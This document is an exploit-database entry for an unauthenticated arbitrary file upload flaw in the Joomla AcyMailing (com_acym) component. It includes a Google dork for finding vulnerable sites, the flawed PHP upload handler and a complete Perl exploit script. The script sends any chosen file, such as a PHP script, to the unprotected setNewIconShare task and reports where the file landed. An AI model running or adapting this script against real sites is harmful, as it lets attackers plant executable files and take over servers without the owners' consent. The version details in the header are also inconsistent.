Joomla! Component ACYMAILING 3.9.0 - Unauthenticated Arbitrary File Upload

2020-06-28
ID: 103106
CVE: None
Download vulnerable application: None
# Exploit Title: Joomla! ACYMAILING 3.9.0 component - Unauthenticated Arbitrary File Upload
# Google Dork: inurl:"index.php?option=com_acym"
# Date: 2020-03-16
# Exploit Author: qw3rTyTy
# Vendor Homepage: https://www.acyba.com/
# Software Link: https://www.acyba.com/acymailing/download.html
# Version: v6.9.1 Starter
# Tested on: Joomla! v3.9.0
# CVE: N/A


########################################################################################
#Analysis of vulnerability
########################################################################################
Vulnerable code is in MailsController::setNewIconShare() in file "back/controllers/mails.php".

[BEGIN_CODE]
   600	    public function setNewIconShare()
   601	    {
   602	        $socialName = acym_getVar('string', 'social', '');
   603	        $extension = pathinfo($_FILES['file']['name']);
   604	        $newPath = ACYM_UPLOAD_FOLDER.'socials'.DS.$socialName;
   605	        $newPathComplete = $newPath.'.'.$extension['extension'];
   606			//There code is no checking CSRF token, no sanitizing, and authentication.
   607	        if (!acym_uploadFile($_FILES['file']['tmp_name'], ACYM_ROOT.$newPathComplete) || empty($socialName)) { //!!!
   608	            echo 'error';
   609	            exit;
   610	        }
   611	
   612	        $newConfig = new stdClass();
   613	        $newConfig->social_icons = json_decode($this->config->get('social_icons', '{}'), true);
   614	
   615	        $newImg = acym_rootURI().$newPathComplete;
   616	        $newImgWithoutExtension = acym_rootURI().$newPath;
   617	
   618	        $newConfig->social_icons[$socialName] = $newImg;
   619	        $newConfig->social_icons = json_encode($newConfig->social_icons);
   620	        $this->config->save($newConfig);
   621	
   622	        echo json_encode(
   623	            [
   624	                'url' => $newImgWithoutExtension,
   625	                'extension' => $extension['extension'],
   626	            ]
   627	        );
   628	        exit;
   629	    }

function acym_uploadFile($src, $dest)
{
    $dest = acym_cleanPath($dest);

    $baseDir = dirname($dest);
    if (!file_exists($baseDir)) {
        acym_createFolder($baseDir);
    }

    if (is_writeable($baseDir) && move_uploaded_file($src, $dest)) {//!!!
        if (@chmod($dest, octdec('0644'))) {
            return true;
        } else {
            acym_enqueueMessage(acym_translation('ACYM_FILE_REJECTED_SAFETY_REASON'), 'error');
        }
    } else {
        acym_enqueueMessage(acym_translation_sprintf('ACYM_COULD_NOT_UPLOAD_FILE_PERMISSION', $baseDir), 'error');
    }

    return false;
}
[END_CODE]

########################################################################################
#Exploit
########################################################################################
#!/usr/bin/perl
#
#$> perl ./exploit.pl "http://127.0.0.1/joomla" "lolz" /tmp/lolz.php
use strict;
use warnings;
use LWP::UserAgent;
use JSON(qw/decode_json/);
########################################################################################
sub print_usage_and_exit
{
	print("*** com_acym Arbitrary File Upload exploit\n");
	print("Usage: $0 <URL> <path_to_upload> <file_to_upload>\n");
	print("\n");
	
	exit();
}

sub fetch_useragent
{
	my @available_useragents = (
		"gertrud barkhorn",
		"erica hartmann",
		"eila ilmatar juutilainen",
	);

	return($available_useragents[(rand(scalar(@available_useragents)))]);
}

sub is_valid_url
{
	my $given_url = shift(@_);

	return 1 if ( $given_url =~ /^http(s)?:\/\// );
	return 0;
}

sub do_die
{
	my $errmsg = shift(@_);

	printf("[!] %s\n", $errmsg);
	exit();
}

sub get_base_path
{
	return(sprintf("%s/index.php", $_[0]));
}

sub do_exploit
{
	my %params = %{ shift(@_); };
	my $ua = LWP::UserAgent->new(
		"agent"			=>			$params{"useragent"},
		"timeout"		=>			360
	);

	print("[+] Trying to exploit ...\n");
	print("[*] Sending POST request ...\n");
	my $response = $ua->post(
		get_base_path($params{"url"}),
		"Content-Type"	=>			"form-data",
		"Accept-Language"		=>	"zh-cn",
		"Content"		=>			{
			"option"	=>			"com_acym",
			"ctrl"		=>			"frontmails",
			"task"		=>			"setNewIconShare",
			"social"	=>			$params{"path"},
			"file"		=>			[ $params{"file"} ],
		},
	);

	if ( $response->code == 200 )
	{
		my $j = decode_json($response->decoded_content);
		my $f = sprintf("%s.%s",
			$j->{"url"}, $j->{"extension"});
		my $response = $ua->head($f);

		printf("[\$] Uploaded file in %s\n", $f) if ( $response->code == 200 );
	}
}

sub main
{
	print_usage_and_exit() if ( scalar(@ARGV) < 2 );

	my %params = (
		"url" 		=>		$ARGV[0],
		"path"		=>		$ARGV[1],
		"file"		=>		$ARGV[2],
		"useragent"	=>		fetch_useragent());

	do_die("Given invalid URL.") if ( !is_valid_url($ARGV[0]) );
	do_die("Given invalid File.") if ( (!-e $ARGV[2]) or (stat($ARGV[2]))[7] == 0);
	printf("[*] Parameters:\n");

	while ( my ($k, $v) = each(%params) ) { printf("[+] %s => %s\n", $k, $v); }
	printf("*" x50 . "\n");

	while ( 1 )
	{
		printf("[?] Proceed(y/n)> ");

		my $c = <STDIN>;
		chomp($c);

		if ( (length($c) == 1) and lc($c) eq "y" )
		{
			do_exploit(\%params);
			last;
		}
	}
}

main();
########################################################################################
1-4-2 (www02)